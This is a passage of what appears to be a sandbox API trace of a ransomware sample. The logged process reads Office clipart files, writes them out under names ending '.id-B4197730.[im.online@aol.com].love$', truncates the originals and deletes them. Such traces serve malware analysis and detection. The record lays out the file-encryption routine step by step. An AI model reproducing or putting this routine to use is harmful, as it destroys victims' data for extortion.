office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0228.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0228.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0228.309] lstrlenW (lpString=".doc") returned 4 [0228.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.309] lstrlenW (lpString=".docx") returned 5 [0228.309] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0228.309] lstrlenW (lpString=".pdf") returned 4 [0228.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.310] lstrlenW (lpString=".xls") returned 4 [0228.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.310] lstrlenW (lpString=".xlsx") returned 5 [0228.310] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0228.310] lstrlenW (lpString=".ppt") returned 4 [0228.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0228.310] lstrlenW (lpString=".zip") returned 4 [0228.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.310] lstrlenW (lpString=".rar") returned 4 [0228.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.310] lstrlenW (lpString=".bz2") returned 4 [0228.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.310] lstrlenW (lpString=".7z") returned 3 [0228.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0228.310] lstrlenW (lpString=".dbf") returned 4 [0228.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0228.310] lstrlenW (lpString=".1cd") returned 4 [0228.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0228.310] lstrlenW (lpString=".jpg") returned 4 [0228.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0228.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0228.310] lstrlenW (lpString=".doc") returned 4 [0228.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.311] lstrlenW (lpString=".docx") returned 5 [0228.311] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0228.311] lstrlenW (lpString=".pdf") returned 4 [0228.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.311] lstrlenW (lpString=".xls") returned 4 [0228.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.311] lstrlenW (lpString=".xlsx") returned 5 [0228.311] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0228.311] lstrlenW (lpString=".ppt") returned 4 [0228.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0228.311] lstrlenW (lpString=".zip") returned 4 [0228.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.311] lstrlenW (lpString=".rar") returned 4 [0228.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.311] lstrlenW (lpString=".bz2") returned 4 [0228.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.311] lstrlenW (lpString=".7z") returned 3 [0228.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0228.311] lstrlenW (lpString=".dbf") returned 4 [0228.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0228.311] lstrlenW (lpString=".1cd") returned 4 [0228.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68 [0228.311] lstrlenW (lpString=".jpg") returned 4 [0228.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.312] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0228.312] lstrlenW (lpString="AN04235_.WMF") returned 12 [0228.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424 [0228.563] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=7804) returned 1 [0228.563] CloseHandle (hObject=0x424) returned 1 [0228.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220 [0228.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0228.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0229.363] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.364] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0229.365] GetLastError () returned 0x0 [0229.365] ReadFile (in: hFile=0x44c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0229.400] WriteFile (in: hFile=0x460, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0229.402] ReadFile (in: hFile=0x44c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.402] WriteFile (in: hFile=0x460, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.402] SetEndOfFile (hFile=0x460) returned 1 [0229.403] CloseHandle (hObject=0x460) returned 1 [0229.413] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.413] SetEndOfFile (hFile=0x44c) returned 1 [0229.447] CloseHandle (hObject=0x44c) returned 1 [0229.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0229.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0229.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0229.687] lstrlenW (lpString=".doc") returned 4 [0229.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.688] lstrlenW (lpString=".docx") returned 5 [0229.688] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.688] lstrlenW (lpString=".pdf") returned 4 [0229.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.688] lstrlenW (lpString=".xls") returned 4 [0229.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.688] lstrlenW (lpString=".xlsx") returned 5 [0229.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.688] lstrlenW (lpString=".ppt") returned 4 [0229.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0229.688] lstrlenW (lpString=".zip") returned 4 [0229.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.688] lstrlenW (lpString=".rar") returned 4 [0229.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.688] lstrlenW (lpString=".bz2") returned 4 [0229.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.688] lstrlenW (lpString=".7z") returned 3 [0229.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0229.688] lstrlenW (lpString=".dbf") returned 4 [0229.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0229.688] lstrlenW (lpString=".1cd") returned 4 [0229.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0229.689] lstrlenW (lpString=".jpg") returned 4 [0229.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0229.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0229.689] lstrlenW (lpString=".doc") returned 4 [0229.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.689] lstrlenW (lpString=".docx") returned 5 [0229.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.689] lstrlenW (lpString=".pdf") returned 4 [0229.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.689] lstrlenW (lpString=".xls") returned 4 [0229.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.689] lstrlenW (lpString=".xlsx") returned 5 [0229.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.689] lstrlenW (lpString=".ppt") returned 4 [0229.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0229.689] lstrlenW (lpString=".zip") returned 4 [0229.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.689] lstrlenW (lpString=".rar") returned 4 [0229.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.689] lstrlenW (lpString=".bz2") returned 4 [0229.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.689] lstrlenW (lpString=".7z") returned 3 [0229.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0229.689] lstrlenW (lpString=".dbf") returned 4 [0229.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0229.690] lstrlenW (lpString=".1cd") returned 4 [0229.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0229.690] lstrlenW (lpString=".jpg") returned 4 [0229.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.690] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.690] lstrlenW (lpString="BD00141_.WMF") returned 12 [0229.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0229.691] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=26886) returned 1 [0229.691] CloseHandle (hObject=0x388) returned 1 [0229.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220 [0229.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0229.693] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.693] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0229.694] GetLastError () returned 0x0 [0229.694] ReadFile (in: hFile=0x388, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x6906, lpOverlapped=0x0) returned 1 [0229.758] WriteFile (in: hFile=0x44c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x6910, lpOverlapped=0x0) returned 1 [0229.760] ReadFile (in: hFile=0x388, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.760] WriteFile (in: hFile=0x44c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.760] SetEndOfFile (hFile=0x44c) returned 1 [0229.761] CloseHandle (hObject=0x44c) returned 1 [0229.763] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.763] SetEndOfFile (hFile=0x388) returned 1 [0229.776] CloseHandle (hObject=0x388) returned 1 [0229.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0229.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0229.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0229.786] lstrlenW (lpString=".doc") returned 4 [0229.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.786] lstrlenW (lpString=".docx") returned 5 [0229.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.786] lstrlenW (lpString=".pdf") returned 4 [0229.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.786] lstrlenW (lpString=".xls") returned 4 [0229.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.786] lstrlenW (lpString=".xlsx") returned 5 [0229.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.786] lstrlenW (lpString=".ppt") returned 4 [0229.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0229.786] lstrlenW (lpString=".zip") returned 4 [0229.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.786] lstrlenW (lpString=".rar") returned 4 [0229.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.786] lstrlenW (lpString=".bz2") returned 4 [0229.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.786] lstrlenW (lpString=".7z") returned 3 [0229.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0229.786] lstrlenW (lpString=".dbf") returned 4 [0229.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0229.786] lstrlenW (lpString=".1cd") returned 4 [0229.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0229.786] lstrlenW (lpString=".jpg") returned 4 [0229.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0229.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0229.787] lstrlenW (lpString=".doc") returned 4 [0229.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.787] lstrlenW (lpString=".docx") returned 5 [0229.787] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.787] lstrlenW (lpString=".pdf") returned 4 [0229.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.787] lstrlenW (lpString=".xls") returned 4 [0229.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.787] lstrlenW (lpString=".xlsx") returned 5 [0229.787] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.787] lstrlenW (lpString=".ppt") returned 4 [0229.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0229.787] lstrlenW (lpString=".zip") returned 4 [0229.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.787] lstrlenW (lpString=".rar") returned 4 [0229.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.787] lstrlenW (lpString=".bz2") returned 4 [0229.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.787] lstrlenW (lpString=".7z") returned 3 [0229.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0229.787] lstrlenW (lpString=".dbf") returned 4 [0229.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0229.787] lstrlenW (lpString=".1cd") returned 4 [0229.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0229.788] lstrlenW (lpString=".jpg") returned 4 [0229.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.788] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.788] lstrlenW (lpString="BD00155_.WMF") returned 12 [0229.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0230.233] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=11636) returned 1 [0230.233] CloseHandle (hObject=0x454) returned 1 [0230.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220 [0230.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0230.234] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.234] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0230.235] GetLastError () returned 0x0 [0230.235] ReadFile (in: hFile=0x454, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x2d74, lpOverlapped=0x0) returned 1 [0230.240] WriteFile (in: hFile=0x458, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0230.242] ReadFile (in: hFile=0x454, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.242] WriteFile (in: hFile=0x458, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.242] SetEndOfFile (hFile=0x458) returned 1 [0230.242] CloseHandle (hObject=0x458) returned 1 [0230.257] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.257] SetEndOfFile (hFile=0x454) returned 1 [0230.271] CloseHandle (hObject=0x454) returned 1 [0230.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0230.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0230.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0230.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0230.281] lstrlenW (lpString=".doc") returned 4 [0230.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.281] lstrlenW (lpString=".docx") returned 5 [0230.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.281] lstrlenW (lpString=".pdf") returned 4 [0230.281] lstrcmpiW 